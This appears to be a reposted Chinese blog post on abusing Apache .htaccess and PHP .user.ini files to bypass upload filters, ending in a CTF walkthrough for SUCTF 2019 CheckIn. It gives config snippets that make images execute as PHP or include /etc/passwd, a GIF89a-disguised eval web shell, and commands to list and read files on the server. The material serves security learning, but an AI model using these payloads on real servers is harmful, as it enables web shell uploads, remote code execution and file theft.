Apache的.htaccess利用技巧 转载于:https://xz.aliyun.com/t/8267#toc-6
前言:文件上传绕过可以通过上传.htaccess进行绕过,之前一直未解什么原理,今天逛先知社区狠狠的学了一吧!
.htaccess 可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
常用指令
- AddType
AddType 可以将给定的文件扩展名映射到指定的内容类型
用法:
AddType media-type extension [extension] ...
示例:
AddType application/x-httpd-php .gif
将以 gif 为后缀的文件当做 php 解析
AddType application/x-httpd-php png jpg gif
将以 .png .jpg .gif 多个后缀当做 php 解析
- SetHandler
SetHandler 可以强制所有匹配的文件被一个指定的处理器处理
用法:
SetHandler handler-name|None
示例1:
SetHandler application/x-httpd-php
此时当前目录及其子目录下所有文件都会被当做 php 解析
- AddHandler
AddHandler 可以在文件扩展名与特定的处理器之间建立映射
用法:
AddHandler handler-name extension [extension] ...
例如:
AddHandler cgi-script .xxx
将扩展名为 .xxx 的文件作为 CGI 脚本来处理
- php_value
当使用 PHP 作为 Apache 模块时,也可以用 Apache 的配置文件(例如 httpd.conf)和 .htaccess 文件中的指令来修改 php 的配置设定。需要有AllowOverride Options 或AllowOverride All 权限才可以。
php_value 设定指定的值。要清除先前设定的值,把 value 设为 none。不要用 php_value 设定布尔值。应该用 php_flag。
用法:php_value name value
auto_prepend_file:在主文件解析之前自动解析包含的文件
auto_append_file:在主文件解析后自动解析包含的文件
利用方式
1.文件解析
经常出现在文件上传的黑名单没有限制 .htaceess 后缀,通过上传 .htaccess 文件,再上传图片,使图片的 php 恶意代码得以被解析执行
.htaccess 文件内容有如下两种
- SetHandler 指令
将images.png 当做 PHP 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
- AddType
将 .jpg 当做 PHP 文件解析
AddType application/x-httpd-php .png
2.文件包含
- 本地文件包含
通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。
.htaccess 分别通过这两个配置选项来包含 /etc/passwd,并访问同目录下的 index.php文件。
auto_prepend_file
php_value auto_prepend_file /etc/passwd
auto_append_file
php_value auto_append_file /etc/passwd
- 远程文件包含
PHP 的 all_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 在 .htaccess 中开启。
这里为了演示,就在 php.ini 中设置 all_url_include 为 On
php_value auto_append_file http://10.87.9.156/phpinfo.txt
PS:暂时就这么多,其他的后续在研究---------------------------------------------------------------------------------------------------------------------------------
.user.ini配合文件上传gets hell
靶场:https://buuoj.cn/challenges#[SUCTF%202019]CheckIn
- 首先能够上传正常的jpg文件
- 上传php文件提示非法后缀
- 修改后缀对文件内容进行验证,过滤<?
- 使用
<script language="php">eval($_GET['cmd']);</script>
绕过 - 使用exif_imagetype函数通过检测文件头来检测是否是规定的格式
- 只需构造头文件为GIF98a图片马进行绕过,,图片马制作:copy 1.jpg/a + cmd.php/b 2.jpg
GIF89a?
<script language="php">eval($_GET['cmd']);</script>
- 成功上传,上传图片马需要考虑进行利用
- 结合
.user.ini
利用,原理https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html - auto_append_file,指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。配合GIF89a进行绕过exif_imagetype函数。踩坑,GIF89a 后面要进行换行。
GIF89a
auto_prepend_file=2.jpg
- 先上传.user.ini文件在,上传2.jpg的图片马,上传成功后配合原文件下的index.php获取权限
- 根据上传成功回显的路径,进行拼接
获取根目录:cmd=var_dump(scandir(“/”));,可以看见一个叫flag的文件
打印:cmd=var_dump(file_get_contents(“/flag”));或者cmd=system(‘cat /flag’);
右键点击查看源代码获取flag。
相关链接
1.https://yzddmr6.com/posts/jsp-webshell-upload-bypass/
2.https://xz.aliyun.com/t/11337